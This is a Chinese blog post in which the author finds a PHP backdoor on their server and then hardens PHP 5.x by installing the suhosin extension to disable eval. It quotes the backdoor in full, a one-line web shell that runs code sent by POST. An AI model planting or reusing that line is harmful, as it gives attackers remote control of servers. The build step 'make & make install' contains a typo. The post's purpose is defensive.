php5.x禁用eval的操作方法

804 阅读1分钟

这篇日志记录下php禁用eval的操作方法。

今天阿里云给我发了个邮件,说是发现网站后门。容易受到攻击,我登录一看还真有。

被攻击图片.png

 

我靠,什么情况。还有这玩意呢。

把php文件下载到本地,看了一下,里边就一行代码

<?php @eval($_POST['cmd']);?>

 

Eval():百度了一下。

eval() 函数把字符串按照 PHP 代码来执行。(功能很强大啊。得禁止。)

php的eval函数并不是系统组件函数,因此在php.ini中使用disable_functions是无法禁止它的。eval并非函数,而是php底层提供的一种特性。

幸好有前辈提供了php扩展来禁用万恶的eval: suhosin

官网网址:

https://suhosin.org/stories/index.html

官方的安装教程写的比较清楚,但是,只能参考。注意画红框的位置。

官方安装教程.png

还好,许多先行者是会把他们的经验分享出来的。

安装教程:

yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
 
cd /usr/local/src
 
wget https://download.suhosin.org/suhosin-0.9.38.tar.gz
# 这一步我试了,但是没好用。没再折腾,用windows下载完之后,传到服务器上的。
# 解压那步也就省了。
 
tar zxvf suhosin-0.9.38.tar.gz
 
cd suhosin-0.9.38
 
/usr/bin/phpize
 
./configure --with-php-config=/usr/bin/php-config
 
make & make install

 

从上到下,一步一步的运行到这里。安装就成功了,如果你在安装的时候遇到问题,可以在下方留言,我们一起看看有什么办法可以解决。

安装成功之后,他会显示你的安装位置

文件位置.png

 

接下来配置 php.Ini

将下边这部分代码写入php.ini即可。

extension=/usr/lib64/php/modules/suhosin.so
suhosin.executor.disable_eval=On

重启apache

systemctl restart apache

输出phpinfo

phpinfo.png

 

有好的建议,请在下方输入评论。